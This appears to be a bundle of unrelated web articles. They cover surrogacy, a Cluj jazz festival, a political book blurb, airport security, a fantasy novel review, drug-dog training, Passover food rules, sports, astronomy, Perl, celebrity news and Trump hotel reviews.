apply for green cards for their parents when they turn 21.  So-called “designer babies” draw interest from some Chinese couples who favor eggs from tall, American or European donors. Gender selection is also an option through in vitro fertilization (IVF) procedures in the United States.  Tony Jiang started an agency in Shanghai that consults with Chinese couples on their fertility options. He said most people, like him and his wife, seek surrogate mothers abroad because of fertility problems. They choose the United States because of its superior health care system and opt for a gestational pregnancy.  “More and more patients are inquiring about services at clinics,” he said.  Surrogacy procedures can run upwards of $120,000. That's a steep price. But Chinese couples are increasingly willing to pay it for the chance to have a child born in America.
-Actualitate  Peste o suta de concerte vor avea loc la Jazz in the Park in saptamana 26 iunie-2 iulie la Cluj. Printre artistii pe care ii vom asculta live se numara Dhafer Youssef, Vintage Trouble, Barcelona Gipsy Balkan Orchestra, Viva Vox, Tatran, Jojo Mayer & Nerve, Skalpel, Dario Rossi, DJ Vadim, Ours Samplus, Hidden Orchestra, Mammal Hands, Niogi & Pete Lockett, Sebastian Spanache Trio, JazzyBIT, iar lista nu se opreste aici.  Concerte cu intrare libera si bilet neobligatoriu in Parcul Central si pe malul Somesului, o scena in cea mai izolata comunitate a Clujului, langa groapa de gunoi, concerte pe bilete si abonamente la Opera Maghiara cu trei dintre cele mai importante nume ale muzicii internationale, petreceri in Form Space, arta stradala si un Fond pentru comunitate - acestea sunt cateva dintre noutatile editiei cu numarul 5.  Unde are loc Jazz in the Park 2017  Festivalul incepe luni cu deschiderea oficiala de la Opera Maghiara, e vorba despre concertul Barcelona Gipsy Balkan Orchestra, care estesold out. Nomazii muzicii jazz si klezmer aduc influente de pe toate colturile Europei. In plus, organizatorii au anuntat astazi ca formatia va concerta si la Pata Rat, marti, acolo unde sunt deja confirmate alte trei nume. Concerte la Opera Maghiara vor mai avea loc marti cu avangardistul jazz si world music Dhafer Youssef si miercuri cu regina muzicii latino jazz, Susana Baca. Bilete si abonamente sunt disponibile pe biletmaster.ro, eventim.ro si kompostor.ro.  Malul Somesului va gazdui Concursul International Jazz in the Park, iar cele 15 trupe finaliste vor canta aici in fiecare seara, de marti si pana joi.  Transport gratuit spre spre scena de la Pata Rat, marti, in a doua zi de Jazz in the Park  Tot marti e activa si scena de la Pata Rat, cea mai inedita zona a festivaului, unde concertele incep de la ora 16:00. De Pata Rat se leaga si cauza fondului Jazz in the Park, care strange bani pentru proiecte sociale, culturale si educationale pentru comunitatea care locuieste langa groapa de gunoi, dar si pentru finantarea unor initiative benefice orasului. Pentru a sprijini initiativa Jazz in the Park, Primaria va pune la dispozitie maine autobuze in regim gratuit care vor circula pe ruta Piata Cipariu-Pata Rat. Autobuzele pornesc din statia de transport in comun din Piata Cipariu de la orele 15:30, 16:30, 17:30, 18:30 si 19:30 si se intorc in Cluj, la ora fixa, de la ora 17 si pana la ora 22.  Inima festivalului ramane si in acest an Parcul Central, unde vor fi amplasate trei scene pe care muzica se va auzi vineri, sambata si duminica. Una dintre scene va avea tematica electro-jazz, iar aici ii vom putea asculta printre altii pe Jojo Mayer & Nerve, Skalpel, Hidden Orchestra, Niogi & Pete Lockett.  Anul acesta festivalul va cuprinde mare parte din oras, iar reprezentatii artistice vor avea loc in mai multe zone prin conceptul Jazz in the Street, integrat in festival. Astfel, vom suprinde performance-uri pe bulevardul Eroilor, la Off the Wall, in fata Operei Maghiare si in fata cladirii The Office. In plus, sesiunile de improvizatie jam session vor avea loc marti, miercuri si joi la Blend, la ele vor participa atat muzicienii de la Jazz in the Park, cat si curiosi dornici sa-si incerce talentul muzical.  Bilete neobligatorii si Fondul Jazz in the Park  Intrarea este libera la concertele din spatii publice - malul Somesului, Parcul Central, Pata Rat si din strada -, iar cei care doresc pot cumpara cel putin un bilet neobligatoriu de minim 10 lei pentru sustinerea Fondului Jazz in the Park.  Anul acesta Fondul Jazz in the Park are doua obiective generale: finantarea a doua proiecte de sustinere a comunitatii din Pata Rat, prin finantarea unor initiative educationale, sociale si culturale si finantarea celor mai creative si practice initiative utile orasului, la fel ca anul trecut.
-This is the story of an attempted coup d'état—now in progress—by rogue intelligence agents. The goal: to overthrow the presidency of Donald Trump and subvert the will of the electorate.  Donald Trump's first 100 days in office were roiled by allegations of treasonous contacts between his campaign team and the Kremlin to rig the election. These outrageous charges first surfaced in the notorious “Trump Dossier,” an unverified document of suspect provenance, full of wild and salacious accusations.  This dossier—filled with little more than gossip, rumor, and innuendo—was compiled by Christopher Steele, a former British intelligence operative who teamed up with the FBI and anti-Trump partisans. Hillary Clinton supporters paid for Steele’s work.  When no news media would publish the unverified dossier, the ex-spook enlisted the help of a former UK ambassador to Russia, who arranged in turn for a former U.S. assistant secretary of state to get the document to Senator John McCain, in the hope that he would then bring it to FBI Director James Comey’s attention. McCain did just that.  Comey himself played a critical role in the dossier ultimately going public, giving a confidential summary to President Obama and congressional leaders. It was immediately leaked by rogue spooks in order to demean, destabilize, and destroy Donald Trump’s nascent presidency.  The dossier and this mythical intelligence are the basis for the phony claims about a Russia-Trump collusion to steal the election. No proof was found. No substantiation uncovered. Even Comey told Trump he was not under investigation for the Russian meddling charges.  But that didn’t end the leaks or the allegations. Working in concert with liberal news outlets, these rogue spooks have formed a new Intel/Media complex that threatens our democracy. Rogue Spooks will reveal how it works.  Readers of Rogue Spooks, from bestselling authors Dick Morris and Eileen McGann, will be shocked to learn the truth about the false accusations against President Trump in the flawed dossier. They’ll be interested to know how leaks to the media fueled the phony scandal, and how intelligence agencies will try to use the newly appointed special prosecutor to oust President Trump.  They will also learn what we can do—specifically—to stop them.
-next Image 1 of 3  prev next Image 2 of 3  prev Image 3 of 3  Belgium's prime minister and key members of the government are meeting to discuss when to reopen Brussels Airport after it was targeted by suicide bombers last week.  As a meeting of the government Security Council took place Friday, Belgian police unions demanded tighter screening of passengers and baggage before they are allowed into the airport.  The unions threatened not to go back to work until the additional security measures they demand are implemented.  The airport and a Brussels subway train were targeted by suicide bombers March 22 in an attack that killed 32. Three suicide bombers also died.  Airport chief Arnaud Feist told RTBF state broadcasting that temporary repairs now completed will permit the processing of 800 passengers an hour, about 20 percent of the airport's original capacity.
-Stop me if you’ve heard this one: A dragon demands that a village offer a maiden in tribute once every 10 years. Or how about this one? A young girl is trapped in a tower near a cursed wood.  In Uprooted, Naomi Novik combines elements of fairy tales with Russian folklore to conjure up one of the most enjoyable fantasy novels I’ve read in years.  Novik, of course, is no stranger to flying firebreathers, having created the "Temeraire" series, an alternate history of the Napoleonic wars where Britain has an air force – of dragons.  In “Uprooted,” the dragon doesn’t come with wings or scales. Instead, he is a wizard with an unusual approach to human resources: Rather than put a “Help Wanted” sign on his tower, he demands tribute in terms of cooking and cleaning. Each chosen girl is expected to serve 10 years, and then is sent on her way with enough silver to set up shop wherever she wishes. The girls never return to the valley.  “Our Dragon doesn’t eat the girls he takes, no matter what stories they tell outside our valley. We hear them sometimes, from travelers passing through. They talk as though we were doing human sacrifice and he were a real dragon,” one of the tribute girls, Agnieszka, says. “He protects us against the Wood, and we’re grateful, but not that grateful.”  Agnieszka has grown up knowing that her best friend, Kasia, will be chosen when they are both 16, and preemptively hates the wizard for taking her friend. Kasia is the most beautiful and brave girl in the valley, everyone knows this, and the Dragon always takes the most special girl.  And he does. Agnieszka – affectionately known as Nieshka – isn’t much of a cook and cannot go 15 minutes without snarling her hair or staining her skirts, is chosen, much to the wizard’s annoyance.  “What an unequaled gift for disaster you have,” he tells his irritating new apprentice.  Nieshka also has a gift for magic, although she is an unwilling pupil and can’t cast what the Dragon assures her are the simplest spells without wanting to sleep for a week. At least, until the Wood threatens her village and her best friend, and Nieshka finds her own way of doing magic.  “No one went into the Wood and came out again, at least not whole and themselves,” she explains. “Sometimes they came out blind and screaming, sometimes they came out twisted and so misshapen they couldn’t be recognized; and worst of all sometimes they came out with their own faces but murder behind them, something gone dreadfully wrong within.”  “Uprooted” is as full of life and surprise as one of Nieshka’s spells. (It is also one of the rare books that manages to make magic feel magical.)  Novik hits all the echoes of a fairy tale without her story ever feeling prefabricated. There are magical gowns – which Nieshka can’t stand, since she can’t breathe in them and it’s just a matter of time before she gets scrambled egg on the sleeve. There’s a prince, whose charm is debatable, who is determined to rescue his mother from the wood. And there are wood spirits and walking trees, which have precious little in common with Lewis’s benevolent dryads or Tolkien’s Ents.  My main quibble – and it’s not really a criticism – was that I wanted more. In a fantasy genre dominated by series whose plots are then stretched even further to cover two or three more movies to eke out every last Hollywood dollar (See “Hobbit 26: Bilbo Does the Dishes”), “Uprooted” is downright succinct.  I devoured the first half in a gulp one evening and then deliberately put the book down for several days because I wasn’t ready to leave.  Get the Monitor Stories you care about delivered to your inbox. By signing up, you agree to our Privacy Policy  This is the kind of book that reminds readers why “once upon a time” originally cast a spell on them.  It is, in a word, enchanting.
-Breston uncovered a shipment of marijuana in heat-sealed Mylar bags, inside plastic-lined crates sealed with foam sealant, inside a closed storage garage.  People often wonder if dogs sniff out hidden drugs because they want to eat them, or because they're addicted to drugs themselves. In fact, the dogs have absolutely no interest in drugs. What they're actually looking for is their favorite toy. Their training has led them to associate that toy with the smell of drugs.  The toy used most often is a white towel. Police dogs love to play a vigorous game of tug-of-war with their favorite towel. To begin the training, the handler simply plays with the dog and the towel, which has been carefully washed so that it has no scent of its own. Later, a bag of marijuana is rolled up inside the towel. After playing for a while, the dog starts to recognize the smell of marijuana as the smell of his favorite toy. The handler then hides the towel, with the drugs, in various places. Whenever the dog sniffs out the drugs, he digs and scratches, trying to get at his toy. He soon comes to learn that if he sniffs out the smell of drugs, as soon as he finds them he'll be rewarded with a game of tug-of-war.  As training progresses, different drugs are placed in the towel, until the dog is able to sniff out a host of illegal substances. The same method is used for bomb-detection dogs, except various chemicals used to manufacture explosives are placed in the towel instead of drugs.  A story recounted in "Dogs On the Case," by Patricia Curtis, tells of a drug dog that was a little too eager for a game of tug-of-war. While walking along a line of cars waiting to enter the United States from Mexico, one of the dogs alerted to the smell of drugs, slipped her leash, and ran down the line of cars. Before her handler could find her, she trotted back into view, holding a large brick of marijuana in her jaws. Although the border patrol had no way to tell which car the drugs came from, the dog still got her tug-of-war. She did her job, and the drugs were off the street.
-Jaipur: A Muslim man from Haryana has died three days after being allegedly beaten up by gau rakshaks in Rajasthan’s Alwar district.  Pehlu Khan (55) was allegedly targeted by the vigilante group after they suspected him of smuggling cows through Rajasthan. Khan succumbed to his injuries on Monday night. No arrests were made in the case till Wednesday morning.  Reports quoted police as saying Khan and at least four others were attacked despite producing documents to show that they had purchased the cows. The incident happened after gau rakshaks affiliated with the Vishwa Hindu Parishad and Bajrang Dal stopped their vehicle on National Highway 8 on April 1, alleging that they were illegally transporting cows.  “We have registered a case of murder against six persons and 200 unknown people,” Ramesh Sinsinwar, the station house officer of Bahror, told the Hindustan Times.  These vehicles were coming from Jaipur, and were headed towards Nuh district in Haryana, police added.  Shahbuddin, the victim's uncle, told CNN-News18, "My nephew didn't commit any crime. He had gone to get medicine and had just hitched ride with them. He even had his identity papers with him. The mob destroyed the papers and beat him.""  Reacting to the incident, Rajasthan Home Minister Gulab Chand Kataria said, "Everyone knows cow smuggling is illegal in Rajasthan. But some still do it. Similarly, there are gau bhakts who will try to stop them."  "Trying to stop cow smuggling is not a crime but taking the law in your hands is not right," he added.  ​In another incident recently a hotel in Jaipur was sealed within hours by the JMC (Jaipur Municipal Corporation) and its manager and staffer were detained after a cow vigilante Sadhvi Kamal led protests outside the hotel on suspicion of beef being cooked and meat leftovers being dumped outside.
-You know how the food you eat can sometimes trigger memories? Jewish tradition knows this too, and a kosher for Passover diet is a yearly reminder of the Jewish people’s distant past as slaves in Egypt. During Passover we eat matzah, or unleavened bread, and avoid eating chametz, to remember our past and celebrate our freedom. Many of us also avoid eating kitniyot.  What is chametz?  Chametz refers to food containing any amount of wheat, barley, rye, oats, and spelt, that has leavened, or “puffed up.”  Isn’t matzah often made from wheat?  That’s true, matzah is made from wheat. But, when matzah is made, the wheat flour is kept absolutely dry until it’s mixed with water and immediately baked. Technically, it takes 18 minutes for flour to ferment and rise, so matzah must be baked for fewer than 18 minutes.  Ok. Now, what’s kitniyot?  Kitniyot includes legumes, beans, peas, rice, millet, corn, and seeds. Many Ashkenazi Jews choose not to eat kitniyot on Passover.  Why don’t people eat kitniyot on Passover?  There have been many reasons that Ashkenazic communities have refrained from eating kitniyot on Passover. For example, there was a concern that because kitniyot can be ground to make flour and then baked, one could mistakenly assume that their neighbor was eating chametz. There was also concern that chametz grain might get mixed up with kitniyot if they were stored in close proximity. This kitniyot prohibition was not accepted by most Sephardic Jews.  Didn’t I read somewhere that Reform Jews can eat kitniyot on Passover?  You likely did read that somewhere! Actually, three groups of Rabbis in the recent past have met and, independent of each other, ruled that both Ashkenazim and Sephardim should be permitted to eat rice, corn, and kitniyot during Passover. These groups were the Responsa Committee of the Reform Jewish Movement (a responsa is a rabbinic decision), the Responsa Committee of the Israeli Conservative Movement, and the Conservative Movement’s Committee on Jewish Law and Standards.  These rabbinical committees determined that the prohibition of eating rice, beans, and kitniyot is in direct contradiction to the opinion of all the sages of the Mishnah and Talmud (except one), and also contradicts the theory as well as the practice of more than fifty post-Talmudic Sages. Opposition to the ban on eating kitniyot dates back to 13th century France, where one rabbi called it “a mistaken company,” and another calling it a “foolish custom.”  Still, it’s a personal decision, and many Reform Jews choose to abstain from eating kitniyot on Passover. (Check out this blog post about choosing foods to make your Passover meaningful.)  Ok, I get that there’s a lot that I can’t eat. But what can I eat?  If you’ve been to a Passover seder, you know that Passover can still be a delicious celebration. Visit our Passover Recipes page for some kosher for Passover meal inspiration, and watch the video below. Chag sameach!  This guide was compiled from existing content written by Rabbi Eric Berk, Rabbi Paul Kipnes, Marcia Louchheim, and Rabbi Thomas Louchheim
-A Train hits a bus filled with Catholic School Girls Uploaded 05/03/2009  A train hits a bus filled with Catholic school girls and they all perish.  They are in heaven trying to enter the pearly gates when St. Peter asks the first girl, "Tiffany, have you ever had any contact with a male organ? She giggles and shyly replies, "Well, I once touched the head of one with the tip of my finger. St. Peter says, "Okay, dip the tip of your finger in the Holy Water and pass through the gate."  St. Peter asks the next girl the same question, "Jennifer, have you ever had any contact with a male organ?" The girl is a little reluctant but replies, "Well, once I fondled and stroked one." St.  Peter says, "Okay, dip your whole hand in the Holy Water and pass through the gate."  All of a sudden, there is a lot of commotion in the line of girls. One girl is pushing her way to the front of the line. When she reaches the front, St. Peter says, "Reeva, What seems to be the rush?" The girl replies, "If I'm going to have to gargle that Holy Water, I want to do it before Jessica sticks her ass in it."  abbottwar Uploaded 05/03/2009 4 Ratings 4,753 Views  0 Favorites  Flag
-The fifth most popular website in the world, Wikipedia is an almost daily part of our modern lives. It has become one of the main sources of knowledge and is often the first website that Google (#1 in popular websites) shows when you search for a term you want to be explained. It can be a scientific theory or historical fact that your friends are discussing for three hours in social media, even a celebrity, soccer player, or movie character you heard about on the news, you name it.  The idea behind Wikipedia is explicit in its slogan: The free encyclopedia that anyone can edit. While the slogan is accurate, it is incomplete. On Wikipedia, anyone can edit pages and be a content creator. However, that also means that anyone is able to correct mistakes. Wikipedia’s secret is that its role is to provide simple guidelines that generate efficiency and accuracy, like demanding sources for the info written on the website, and to manage disputes in controversial topics.  The attempt to centralize decision-making would invariably lead to inefficiency. Jimmy Wales, one of the founders of Wikipedia, said that the creation of the website was partially inspired by the ideas of the economist and Nobel Laureate, Friedrich A. Hayek and his famous paper The Use of Knowledge in Society. In this paper, Hayek talks about how knowledge is dispersed in society and the attempt to centralize decision-making would invariably lead to inefficiency and, in public policy, bad results due to the lack of information of the central planner.  On the other hand, Bitcoin's recent record is also impressive. In May 2017, it surpassed the price of an ounce of gold and then reached $2,000, both for the first time. Japan has also declared Bitcoin as a legitimate payment method. We might be witnessing a technology that can transform the way we use the money. According to Wikipedia:  It is interesting to note that Bitcoin, likewise for Wikipedia, is based on decentralization. Nobody can control its emission or its value. That means the currency is not susceptible to monetary inflation and the relative price of Bitcoin, unlike the dollar and other currencies, is defined by the market forces of supply and demand.  Wikipedia and Bitcoin both have a system in which individuals make decisions independently from each other and are able to learn, adjust mutually, and improve. It resembles the definition of a polycentric system of governance, as explored by another economist and Nobel Laureate, Elinor Ostrom. In her work, Ostrom shows how systems can be efficient without government command and control or an individual private ownage.  May the successful stories of Wikipedia and Bitcoin serve as inspiration for entrepreneurs to innovate and for governments to stop failed centralized planning in public policy.
-This wasn't supposed to happen. He was supposed to finish his career as the villain.  The diabolical disappointment who Syracuse fans love to hate. The three-point specialist who couldn't hit three-pointers. The man whose ugly shot lost Syracuse the Final Four against Michigan. The one who seemingly cost the Orange a NCAA tournament bid after a last-second miss against Pittsburgh. The player who's known as a shooter, but then only shoots above 40 percent from the field in just one of Syracuse's final 10 games, prior to the tournament.  Despite all of this, outside of seeing a few less minutes against Pittsburgh, he remained Boeheim's Golden Child – forever beloved by a man who typically seems incapable of showing any affection towards his players – and you hated him for it.  And then, you see it. You see what Boeheim sees. The energy. The drive. The passion. Throughout Syracuse's improbable 63-60 win over Gonzaga to advance to the Elite Eight, it's right there on display.  You see it when he plays smothering defense for the entire 35 minutes he's on the court–exemplified by the 10-second violation he forces late in the second half. You see it when, despite all the criticisms he has faced when shooting the ball, he still confidently rises and drains a three pointer to halt Gonzaga's second half run and bring Syracuse to within six with a little over six minutes to go. You see it when his natural basketball instincts kick in and he records a steal with seconds left in the game, only to be robbed by a highly questionable out of bounds call by the referees.  For the longest time, fans and media alike have tried to label Trevor Cooney as a three-point specialist. He isn't – that much is clear. He, himself, seems to have finally received that message, taking only two three's in Syracuse's win over Gonzaga and drilling one. No, he's something else – something that is much more difficult to describe. Cooney is a square peg, a square peg that we have all picked up and repeatedly tried to fit into a round hole.  He's not Gerry McNamara. He's not Andy Rautins. He's not like anyone who has come before him. In simplest terms, he's Trevor Cooney. On the offensive end, he's a slightly above average three-point shooter. On defense, he's a 6-foot-4 undersized shooting guard who makes up for his lack of size with ferocious determination. He plays with heart, more heart than most fans and experts give him credit for.  Cooney finished the game with 15 points, two steals and two rebounds. He shot 5-for-9 from the field, and 1-for-2 from behind the arc.  But even those numbers don't do him justice. It was his relentless drive and hustle – something that will never show on a stats sheet – that helped Syracuse claw their way back and eventually escape with the win.  Shortly after Syracuse's regular season came to a close, Boeheim spoke at the annual Hardwood Classic about the determination and grit he has witnessed from Cooney and his other senior guard, Michael Gbinije.  "The one thing as a coach that you have to have, that you admire and respect is all-out, complete and total effort, every time you get on the court," Boeheim said, starting to choke up. "I don't get choked up talking about Steph Curry. He's unbelievable. I've coached him, he's fun, he's developed and he's a talent who has made it. I loved working with Russell Westbrook. I don't get choked up talking about players I've worked with. ... I get choked up talking about players who give me everything they've got, every single day. We have two of those guys and they have been unbelievable leaders on this team."  He may not go down as the lights out shooter we all hoped he'd be, but Trevor Cooney's legacy should be one known for his effort, determination and heart – which was clear for all to see Friday night.
-Once scientists realized that their understanding of the distribution of galaxies was incorrect, researchers began studying the large scale structure of the universe to better understand the sum of all movements in relation to Earth. Now some forty years later, a newly published study gives an unprecedented account of all of the normal matter within roughly one billion light-years of Earth and it catalogs the morphological types of a nearly complete subsample of 20,860 galaxies.  The Earth is not at rest. It orbits the Sun, which in turn orbits the center of the Milky Way Galaxy, which in turn moves within the Local Group of Galaxies – a collection of about fifty four galaxies in our “neighborhood” (that is, within about ten million light-years of Earth). The Local Group itself is “falling” toward the Virgo Cluster of Galaxies, a set of over one thousand galaxies about fifty million lights years away in the direction of the constellation of Virgo, and whose gravity pulls the Milky Way. After the cosmic microwave background radiation was discovered in 1960, astronomers began searching for signs of these motions of Earth with respect to the background light. First hints came in the mid-1970s and 1980s, and signaled a serious problem: the measured motion of the Earth with respect to the cosmic background was considerably smaller than the sum of all the movements listed above. One possible solution was that our understanding of the distribution of galaxies was incorrect.  John P. Huchra, the distinguished CfA astronomer who tragically passed away eighteen months ago at the age of 61, was a pioneer in the study of the large scale structure of the universe. Together with his colleagues, he helped map the locations in space of nearly 20,000 of the nearest galaxies, revealing that the universe was not uniformly sprinkled with galaxies. Instead, the local universe appears to have a structure dominated by tremendous filaments, sheets and voids, including what became known as “the Great Wall,” a thin sheet of galaxies about 600 million light-years wide, 250 million light-years high, and 30 million light-years deep – one of the largest known structures in the universe. The discovery helped resolve the mystery of the measured motion of Earth with respect to the cosmic background by finding these large structures and their gravitational influences. But even with this landmark effort, most of the galaxies in the larger neighborhood remained unstudied. Moreover, the precision of the results was considerably worse than the precision from newer cosmic background instruments, as breakthroughs like the acceleration of the universe helped confirm and fill out the larger cosmological picture.  During the ten years before his death, John had been working on another huge and significant project: studying each one of 44,599 galaxies seen in the infrared 2MASS survey to determine its distance, and so place it in an enlarged, much more complete and precise three-dimensional map of the universe near the Earth. This month that paper was published; his team of nineteen collaborators, to honor his leadership and scholarship, and his memory, made him the posthumous first author.  The paper uses new spectroscopic observations of eleven thousand galaxies, and archival spectra of the rest, to obtain a distance catalog that is 97.6% complete over 91% of the sky (to certain well-defined limits). It is an unprecedented accounting of all of the normal matter within about one billion light-years of Earth; in addition, it catalogs the morphological types of a nearly complete subsample of 20,860 galaxies. The result refines and completes the earlier work in an extremely uniform, deep, and unbiased survey of the nearby universe, and is a fitting tribute to the memory of this pioneering astronomer and admired colleague.  Image: J. Huchra et al. 2012
-One of my problems related to Perl is that I'm not aware of a lot of things going on in the perl world, and there isn't a single place I can go to try and keep up. I suspect I'm not the only one. This post outlines an idea for a "perl community home page", where you could go to "keep up". I've whipped up a prototype, which is just a static page with a mashup of various feeds and static data.  I think we need a single place which aggregates all sorts of information from around the Perl world, provides an index to the online perl world, and just as importantly that crowd-sources information from members of the Perl community. This would be useful not just for existing perl users, but for those just starting out, and people outside looking in. Last night I hacked up a prototype — a static page generated by a big hacky script:  This would be a "front page for the perl community". It has feeds from a range of Perl sites, and data that would be provided by users: details of your perl blog, talks you've given, perl sites not currently listed.  This is kind of a mashup of perl.org, metacpan and perlmonks. As MetaCPAN is to CPAN, I think this could be to Perl: MetaPerl. It could even be the front page to MetaCPAN, and MetaCPAN already provides some of the information needed, but I don't think it fits within MetaCPAN's mission. Olaf? To be honest, I think perl.org is the most appropriate place for this.  It's an idea and an experimental prototype, so it's not on CPAN, it's on github :-)  The perl sites, blogs, events, and talks are all just JSON lists, if you want to add things that are missing.  At the moment I'm going with theperlhub.com for the name, or perhaps perlhub.org.
-Rev. C. Welton Gaddy, president of the Interfaith Alliance, blasted religious leaders and politicians who told their followers that Christianity was persecuted in the United States.  “They’re trying to scare them,” he told MSNBC host Rachel Maddow, “because they know that if you get people scared, they’re going to say, ‘what can we do to change this.’ And they’re going to say, ‘follow us.’ Just do what we say and we’ll get it done for you.”  “I appreciate the fact that Santorum has been honest. I think he’s told us some of the scariest things that I’ve ever heard about religious freedom. It’s made me probably more fearful than any presidential candidate ever has. But he’s been honest with us. He’s told us what he will do with that office.”  “But know this,” Gaddy continued, “if you go with this Republican path of a ‘war on religion,’ of taking back this country for God, all of those kinds of things, you’re going to see religous freedom minimized if not done away with altogether.”  Watch video, courtesy of MSNBC, below:  Visit msnbc.com for breaking news, world news, and news about the economy
-Long Island Medium star Theresa Caputo has split from her husband Larry Caputo after 28 years together, Us Weekly can confirm.  “After 28 years of marriage, we have decided to legally separate,” the couple said in a statement to Us on Sunday, December 3. “We will always love each other and our two wonderful children. We are united in supporting each other and our family. Please respect our privacy during this time.”  The reality star, 51, has been open about their marital problems in the eighth season of the hit TLC show, which ID is currently airing. During the November 27 episode, Caputo broke down in tears while doing a reading as she became overwhelmed with her relationship struggles. “I’m gonna say something, and I’m gonna regret it. Things happen,” she said, breaking down in tears before walking off camera. “I can’t, I can’t do this.”  “I’m in the middle of a reading with Erin and my own emotions about my relationship with Larry got the best of me,” she later told the camera. “This is a really hard time right now with Larry and I, and I don’t know what’s going to happen. It’s just, it’s wearing on me.”  Caputo also confided in friends during an episode that aired on November 13, saying, “Since the last season of Long Island Medium, Larry and I’s relationship has changed. We’ve been there for each other, you know, through thick and thin, you know, good times, and right now are not such great times. I don’t understand it. I lay in bed, and I say to myself, ‘How did this happen? How did I get here?'”  During a confessional in the same episode, the medium became emotional while talking about her marriage. “I sometimes interpret it as growing apart. I’ve changed and he has changed,” she said, tearing up. “We’re both not happy and, you know, it’s hard to try to work through that.”  Larry, for his part, has most recently been retweeting comments from fans who are showing support for the couple’s marriage, as well as those who express how they miss him on the series.  The former couple, who married in 1989, share two children, Larry Caputo Jr., 24, and Victoria Caputo, 23.  Sign up now for the Us Weekly newsletter to get breaking celebrity news, hot pics and more delivered straight to your inbox!  Want stories like these delivered straight to your phone? Download the Us Weekly iPhone app now!
-Much has been said about the risks Zika virus presents to tourists and athletes visiting Rio de Janeiro for the Olympics. Several competitors decided to skip the games because of the epidemic. But the fact is, crime is a much bigger threat, and the numbers prove that.  It is winter in the Southern Hemisphere, and the number of reported Zika cases has fallen about 90 percent in comparison to six months ago. Also, researchers at the University of São Paulo have just confirmed previous studies and concluded that only three or four of the expected 500,000 foreign tourists will get sick because of Zika. The same cannot be said of the urban violence in Rio.  Crime rates are surging in Rio—especially in the shanty towns or “favelas” controlled by heavily armed criminal groups. The main concern is burglary and robbery. According to the Brazilian government, there were 98,038 cases of such crimes in the first six months of 2016 in Rio. That average represents more than 3,000 cases per 100,000 inhabitants per year. Worse than that: 31 people were killed this year during robbery attempts.  For the criminals, the games started way before this Friday’s ceremony.  Two men armed with guns robbed an Olympic athlete from the Australian Paralympic team. Criminals stole $400, 000 worth of equipment from a German TV crew. An Australian news team was attacked on the famed Copacabana beach. A Chinese athlete and cameraman had their equipment stolen from their hotel. And a New Zealand athlete didn’t know who to call after being abducted by two armed gunmen dressed in police uniforms, who forced him to withdraw cash from several ATMs.  International visitors are usually the preferred targets of Rio’s criminals. A Brazilian newspaper dove into the statistics and found out that, on average, 15 foreign tourists have been victimized every day since the athlete’s village was opened on July 24.  It is imperative to say Rio is not a lawless land. The city’s official murder rate is at 19.2 per 100,000 inhabitants per year (and going down), comparable to places like Atlanta and Cincinnati—not safe, but far less violent than Detroit and Baltimore, and incomparably better than Caracas, Venezuela, which has the highest global homicide rates.  Also, there is hope that the massive international effort of security forces—including the respected Brazilian police and armed forces—will reduce risks for tourists and athletes.  Rio may not be the best environment for the Olympics, but it could be worse.  Until a few months ago, there was concern about the stability of Brazil, which is still in the midst of political crisis and profound economic recession.  Political unrest has been constant in Brazil in the last months, following a corruption scandal that led to massive demonstrations and culminated with the impeachment of President Dilma Rousseff. Prospects for the future look promising as the interim president, Michel Temer, is a moderate, unlike his socialist predecessor.  Of course, as with many major international sporting events, there is the threat of terrorism. While there is a massive international effort in place to secure Rio, security will be on high alert for Aug. 5-21.  As The Heritage Foundation scholar and retired Army Green Beret Steve Bucci explained, “Since Palestinian terrorists disrupted the 1972 Munich Games, the Olympics also have meant something else. Every country that wins the opportunity to host the games also has a herculean security challenge. This year is perhaps the most challenging to date.”  So far, Brazil appears to be meeting the challenge. To date, “Brazil already has rounded up 12 terror suspects in multiple operations, all thought to be planning attacks on the Summer Games.”  There is no doubt the Summer Games come at a very difficult time for Brazil, but doomsday predictions are counterproductive. We should celebrate this global sporting event and pray it is a success.
-President Donald Trump has been described as an Internet troll. Yet for months his critics have been trolling him right back, not just via social media but by bashing Trump hotels, restaurants, and resorts with bad online reviews—and the strategy could mean upwards of $100 million in lost revenues for Trump companies.  As Business Insider reported, a new study from the online rating market technology company Signpost shows that the average online ratings for Trump properties in the U.S. have declined about 40% since Trump became president. Researchers looked at three years of user review ratings at Yelp and Google to come up with the data, which indicate that 29 Trump properties now have an average rating of 3.7 stars out of 5. Around the 2016 election, the properties collectively had a 4-star rating.  The ratings dip may seem minor, but previous studies have shown that even a small decrease in online ratings can translate into a significant decrease in revenues. Signpost researchers estimate that the ratings drop would equate to a loss of at least $66 million over four years for Trump businesses, assuming the current review trends continue. “These calculations are conservative and according to the most recent revenue estimations,” the report stated. “The actual cost if these trends continue could be in excess of $100 million.”  It appears as if the lower ratings at Trump properties are mostly about politics. There is a long history of people attempting to manipulate online ratings by posting fake or ironic reviews on everything from Confederate flags to Paula Deen’s books to voice political opinions.  In December, the Trump Grill inside New York City’s Trump Tower lost a full Yelp star when online raters were inspired to bash the restaurant in the aftermath of a scathing Vanity Fair review. Similarly, the Mar-a-Lago Club, the Trump resort in Florida dubbed (by Trump) as “the winter White House,” has drawn the wrath of angry online reviews—as well as some supporting Trump that are just as fake—for weeks. At last check, Mar-a-Lago, which charges a $200,000 initiation fee for new members plus $14,000 in annual dues, has a 2-star rating on Yelp. This is so even though an alert on Yelp explains that the site has been actively removing “both positive and negative posts that appear to be motivated more by the news coverage itself than the reviewer’s personal consumer experience with the business.”  Interestingly, the Signpost study did not incorporate data from one of the biggest online review sites for hotels, TripAdvisor. In many cases, it appears as if Trump property ratings on the site are faring quite well. The Trump hotel in Las Vegas, for instance, gets 4.5 stars out of 5 based on 10,000+ reviews. Trump’s hotel in Washington, D.C., has a 4-star rating on TripAdvisor, which sounds good but actually makes it the #100 highest-ranked hotel in the nation’s capital out of 140 rated on the site.  For the sake of comparison, the Trump Hotel Washington, D.C., has just a 2.5-star rating on Yelp. “It’s too expensive for the average Trump chump to stay here, but I think there’s an RV park right outside the city for them with free water and sewer hook-ups,” one reviewer wrote of the property recently, awarding it a 1-star rating. “A tremendous, just tremendous, bigly bad experience,” another 1-star review mocks.  Finally, the Los Angeles Times recently reported that there are some bargain-hunting travelers who are voicing their opposition to Trump by refusing to stay in his hotels at even dirt-cheap rates. Hotwire and Priceline both have opaque bidding options that allow customers to get cut-rate reservations on hotels with two caveats: they cannot be changed, and you don’t know where you’re staying until a bid is accepted. Lately, many deal seekers have turned to the forum BetterBidding.com for help from fellow travelers to figure out the likelihood that a mystery property listed at a cheap price could be a Trump property.  “Help,” a typical message states. “I want to avoid Trump hotel.”
